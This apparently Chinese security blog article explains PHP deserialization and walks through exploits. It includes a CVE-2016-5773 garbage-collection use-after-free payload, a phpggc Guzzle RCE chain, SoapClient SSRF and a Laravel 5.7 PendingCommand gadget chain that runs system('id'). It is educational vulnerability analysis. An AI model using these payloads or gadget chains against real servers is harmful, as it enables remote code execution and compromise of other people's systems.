點選藍字關注我們吧!
簡述
前端時間複現 drupal Remote Code Execution- SA-CORE-2019-003 遇到了php反序列化的問題,打算這篇文章寫一下php反序列化。
首先我們簡單介紹一下php序列化的資料
a - array 數組b - boolean 布爾d - double 浮點數i - integer 數字o - common object PHP3 中被引入用來序列化對象r - reference 對象引用s - non-escaped binary stringS - escaped binary stringC - custom object 自定義的對象序列化O - class 序列化對象 PHP4 取代oN - nullR - pointer reference 指針引用U - unicode string PHP6 引入unicode編碼字元串
接下來重點用代碼分析序列化資料
class SampleClass { var $value;}$a = new SampleClass();$a->value = $a; //對象引用$b = new SampleClass();$b->value = &$b; //指針引用var_dump(serialize($a));var_dump(serialize($b));$a->value = 1; //不會更改本身對象$b->value = 1; //會改變本身對象var_dump(serialize($a));var_dump(serialize($b));
上述代碼分析了對象引用與指針引用的情況以及差別,序列化資料為
O:11:"SampleClass":1:{s:5:"value";r:1;}O:11:"SampleClass":1:{s:5:"value";R:1;}O:11:"SampleClass":1:{s:5:"value";i:1;}i:1;
php中對于protected和private屬性序列化時具有特定的形式,以下還是用代碼表示
class demo{ protected $protected = 1; private $private = 2;}$c = new demo;var_dump(serialize($c));$s = "O:4:\"demo\":1:{s:1:\"s\";N;}";var_dump(unserialize($s));$f = "O:4:\"demo\":2:{s:12:\"\00*\00protected\";i:2;s:13:\"\00demo\00private\";N;}";var_dump(unserialize($f));
對于protected屬性的變量序列化時前面會加\00*\00,protected屬性的變量序列化為\00類名\00,預設反序列對象包含其所聲明變量
O:4:"demo":2:{s:12:"�*�protected";i:1;s:13:"�demo�private";i:2;}object(demo)[2] protected 'protected' => int 1 private 'private' => int 2 public 's' => nullobject(demo)[2] protected 'protected' => int 2 private 'private' => null
特點
php擁有自定義的序列化接口,實作代碼如下:
Serializable { abstract public string serialize ( void ) abstract public mixed unserialize ( string $serialized )}
具體使用情況代碼,可以參照官網,這裡我簡述一下,
_construct 和 _destruct 在序列化時的變化
class demo implements Serializable{ private $data; public function __wakeup(){ var_dump("__wakeup"); } public function __sleep(){ var_dump("__sleep"); } public function __construct(){ $this->data = "this is demo"; var_dump("__construct"); } public function serialize(){ return serialize($this->data); } public function unserialize($data){ $this->data = unserialize($data); } public function getData(){ return $this->data; } public function __destruct(){ return var_dump("__destruct"); }}$obj = new demo;$ser = serialize($obj);$b = unserialize($ser);var_dump($b);
上述代碼重新定義了序列化接口,并對其進行了序列化和反序列化的操作,觀察其中魔術方法
'__construct' (length=11)object(demo)[2]s private 'data' => string 'this is demo' (length=12)'__destruct' (length=10)'__destruct' (length=10)
可以看到__destruct方法在整個序列化過程結束時才會調用,
調用的次數取決于序列化和反序列化的次數,__construct方法在new對象時調用,并不在序列化過程中調用,
__wakeup和__sleep方法不再支援與調用
本文由“壹伴編輯器”提供技術支援
介紹完php序列化的基本内容,捎帶講一下常見的php序列化漏洞繞過:
對于__wakeup方法的繞過可以利用對象屬性個數的值大于真實的屬性個數時就會跳過的特性,CVE-2016-7124;
O:與O:+都可代表類,同理其他類型的都可以這麼表示,可以繞過preg_ macth的檢查,繞過substr開頭為O:,可以将序列化資料放入數組中,反序列化時會執行數組中的内容。
本文由“壹伴編輯器”提供技術支援
PHP 5.3.0中引入了垃圾收集(GC)算法,存在漏洞CVE-2016-5773,
由于我對二進制方面的漏洞也不是很了解,這裡我簡單描述一下:
這是use-after-free的漏洞,原因在于ArrayObjects沒有實作垃圾回收功能,多次引用釋放後會導緻覆寫堆棧位址,自動觸發GC的機制,超過GCROOTBUFFERMAXENTRIES的預設次數10000。
具體講解見連結:
Breaking PHP’s Garbage Collection and Unserialize
我這邊捎帶貼一下重要的代碼圖,我改過的,适用于PHP 5.4.45版本
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);// Create a fake zval string which will fill our freed space later on.$fake_zval_string = pack('L', 1337).pack('L', 0).str_repeat("\x01", 8);$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';// Create a sandwich like structure:// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE$overflow_gc_buffer = '';for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) { $overflow_gc_buffer .= 'i:0;a:0:{}'; $overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;}// The decrementor_object will be initialized with the contents of our target array ($free_me).$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';// The following references will point to the $free_me array (id=3) within unserialize.$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';// Setup our target array i.e. an array that is supposed to be freed during unserialization.$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';// Increment each decrementor_object reference count by 2.$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';// Trigger the GC and free our target array.$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';// Add our GC trigger and add a reference to the target array.$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';$a = unserialize($payload);var_dump($a);
魔術方法
soapClient原生類
在不同語言的序列化過程中,最經常利用的就是魔術方法。
當然php也不例外,除了上述描述的魔術方法以外,
序列化一個對象将會儲存對象的所有變量,但是不會儲存對象的方法,隻會儲存類的名字,并且靜态變量不支援序列化。
官方的簡述如下:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被稱為魔術方法(Magic methods)在給不可通路屬性指派時,__set() 會被調用。讀取不可通路屬性的值時,__get() 會被調用。當對不可通路屬性調用 isset() 或 empty() 時,__isset() 會被調用。當對不可通路屬性調用 unset() 時,__unset() 會被調用。屬性重載隻能在對象中進行。在靜态方法中,這些魔術方法将不會被調用。是以這些方法都不能被 聲明為 static。從 PHP 5.3.0 起, 将這些魔術方法定義為 static 會産生一個警告。
接下來重點簡述一下__call()方法:
在對象中調用一個不可通路方法時,__call()會被調用。
方法分為public、private和protected,方法也分為靜态和非靜态,
- ->(對象運算符)通路非靜态屬性(根據不同的php版本可對靜态屬性指派,但是不會影響到方法中的屬性值)
- ::(範圍解析操作符 )隻能通路靜态屬性,可對父類進行覆寫。
為了更好的了解,下面貼出官方demo:
<?phpclass MethodTest { public function __call($name, $arguments) { // 注意: $name 的值區分大小寫 echo "Calling object method '$name' " . implode(', ', $arguments). "\n"; } /** PHP 5.3.0之後版本 */ public static function __callStatic($name, $arguments) { // 注意: $name 的值區分大小寫 echo "Calling static method '$name' " . implode(', ', $arguments). "\n"; }}$obj = new MethodTest;$obj->runTest('in object context');MethodTest::runTest('in static context'); // PHP 5.3.0之後版本?>Calling object method 'runTest' in object contextCalling static method 'runTest' in static context
Soap協定為簡單對象通路協定,采用HTTP作為底層通訊協定,XML作為資料傳送的格式。
常見wsdl檔案描述如何通路具體接口,php中原生類SoapClient可以建立soap封包,與接口進行互動,SoapClient類具有魔術方法_call,
根據之前的分析,構造一個不存在的functionname,調用到魔術方法中,進一步發送請求,造成SSRF反序列化漏洞
利用
最後利用phpggc中Guzzle的例子,具體分析利用過程,生成序列化資料:
phpggc Guzzle/rce1 assert phpinfo -j
O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:3:\"dir\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}
觀察序列化資料,可以得到一個pop鍊,根據序列化流程圖,我們具體分析
我們找到對應的相關代碼具體分析整個運作,chain.php
public function generate(array $parameters){ $function = $parameters['function']; $parameter = $parameters['parameter']; return new \GuzzleHttp\Psr7\FnStream([ 'close' => [ new \GuzzleHttp\HandlerStack($function, $parameter), 'resolve' ] ]); }
可以看到主要序列化了\GuzzleHttp\Psr7\FnStream類,運用了其中close數組,包含\GuzzleHttp\HandlerStack類,gadgets.php
<?php namespace Psr\Http\Message{ interface StreamInterface{}}namespace GuzzleHttp\Psr7{ class FnStream implements \Psr\Http\Message\StreamInterface { private $methods; public function __construct(array $methods) { $this->methods = $methods; foreach ($methods as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } /* public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } } public function close() { return call_user_func($this->_fn_close); } */ }}namespace GuzzleHttp{ class HandlerStack { private $handler; private $stack; private $cached = false; function __construct($function, $parameter) { $this->stack = [[$function]]; $this->handler = $parameter; } /* public function resolve() { if (!$this->cached) { if (!($prev = $this->handler)) { throw new \LogicException('No handler has been specified'); } foreach (array_reverse($this->stack) as $fn) { $prev = $fn[0]($prev); } $this->cached = $prev; } return $this->cached; } */ }}
再通過流程圖回溯,變量method指派close數組,達到覆寫變量fnclose,
并通過resolve方法傳入payload,通過__destruct魔術方法達到任意代碼執行。
具體案例分析
本案例為Laravel5.7反序列化漏洞,執行指令的功能位于 Illuminate/Foundation/Testing/PendingCommand 類的 run 方法。為了友善查找代碼具體位置,
以下分析過程盡量用圖展示:
可以看出想要實作指令執行,要經過mockConsoleOutput方法,
跟進方法:
protected function mockConsoleOutput(){ $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [ (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(), ]); foreach ($this->test->expectedQuestions as $i => $question) { $mock->shouldReceive('askQuestion') ->once() ->ordered() ->with(Mockery::on(function ($argument) use ($question) { return $argument->getQuestion() == $question[0]; })) ->andReturnUsing(function () use ($question, $i) { unset($this->test->expectedQuestions[$i]); return $question[1]; }); } $this->app->bind(OutputStyle::class, function () use ($mock) { return $mock; }); }
乍一看需要判斷的條件很多,為了簡化流程,我選擇先從指令執行開始要傳入的參數看起
除了$command和$parameters,還有兩個參數$test和$app,
通過注釋可以得知:
\Illuminate\Foundation\Application $app,\PHPUnit\Framework\TestCase $test
一開始我卡在了如何反序列化$test對象,因為通過源碼(具體代碼就不貼了)可以看到$test為一個抽象方法繼承了Assert實作了SelfDescribing和Test接口,序列化時不能對其進行操作,
我選擇了先定義為普通方法,看程式傳回:
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters){ $this->test = $test; $this->app = $app; $this->command = $command; $this->parameters = $parameters; } }}namespace PHPUnit\Framework{ class TestCase{ public function __construct(){ } }}namespace Illuminate\Foundation{ class Application{ public function __construct() { } }}namespace{ $defaultgenerator = new PHPUnit\Framework\TestCase; $application = new Illuminate\Foundation\Application(); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id')); echo urlencode(serialize($pendingcommand));}
可以看到程式報錯,停在了PendingCommand.php的163行,原因是必須為數組類型
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [ (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(), ]);
由此,我們為了控制數組,采用__get()方法,搜尋全局代碼,
找到Faker\DefaultGenerator 類,由此我們重新構造,多餘的代碼就不寫了,隻是更改$defaultgenerator
namespace Faker{ class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } }}
修改過後,重新運作到達136行,出現異常跳出,需要單步調試一下,代碼為;
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
為了更直覺的展示具體出現代碼的位置,我在此處下了斷點,
$this->app為 Illuminate\Foundation\Application 類,
如下圖所示:
接着分析Kernel::class,為Illuminate\Contracts\Console\Kernel類,
跟蹤到此類,找到call方法,發現斷點跟蹤後無法到達,懷疑是在中間的某個位置發生了錯誤,
于是我選擇将數組拆開分析,得到以下調用鍊:
最後找到Illuminate\Container\Container類中的make方法,
通過resolve對抽象類$this->build($concrete)進行執行個體化,
而Kernel類為一個接口最終導緻傳回錯誤,
最終的代碼實作為:
public function make($abstract, array $parameters = []){ return $this->resolve($abstract, $parameters); }protected function resolve($abstract, $parameters = []){ $abstract = $this->getAlias($abstract); $needsContextualBuild = ! empty($parameters) || ! is_null( $this->getContextualConcrete($abstract) ); if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { return $this->instances[$abstract]; } $this->with[] = $parameters; $concrete = $this->getConcrete($abstract); if ($this->isBuildable($concrete, $abstract)) { $object = $this->build($concrete); } else { $object = $this->make($concrete); } foreach ($this->getExtenders($abstract) as $extender) { $object = $extender($object, $this); } if ($this->isShared($abstract) && ! $needsContextualBuild) { $this->instances[$abstract] = $object; } $this->fireResolvingCallbacks($abstract, $object); $this->resolved[$abstract] = true; array_pop($this->with); return $object; }
為了使resolve方法正常傳回,有兩種方式:
- 1. 通過 :
return $this->instances[$abstract]與$concrete = $this->getConcrete($abstract)
- 2. 參考文章:laravelv5.7反序列化rce(CVE-2019-9081)
這裡我們使用第一個方法,直接對exp中Illuminate\Foundation\Application進行重寫:
namespace Illuminate\Foundation{ class Application{ protected $instances = []; public function __construct($instances = []){ $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } }}
正如之前所說當直接指派以後,return的變量控制為:Illuminate\Contracts\Console\Kernel
直接運作到call方法達到指令執行的效果,具體的效果圖我就不貼了,當然第二種方法與第一種方法本質上差不多,都是直接指派,有點不一樣就是第一種方法是直接運作call方法,
第二種是Illuminate\Foundation\Application繼承Container達到運作call方法。
相關連結:
http://www.php.cn/php-notebook-239422.html https://www.php.net/manual/zh/class.serializable.php https://bugs.php.net/bug.php?id=72663 https://xz.aliyun.com/t/5483
end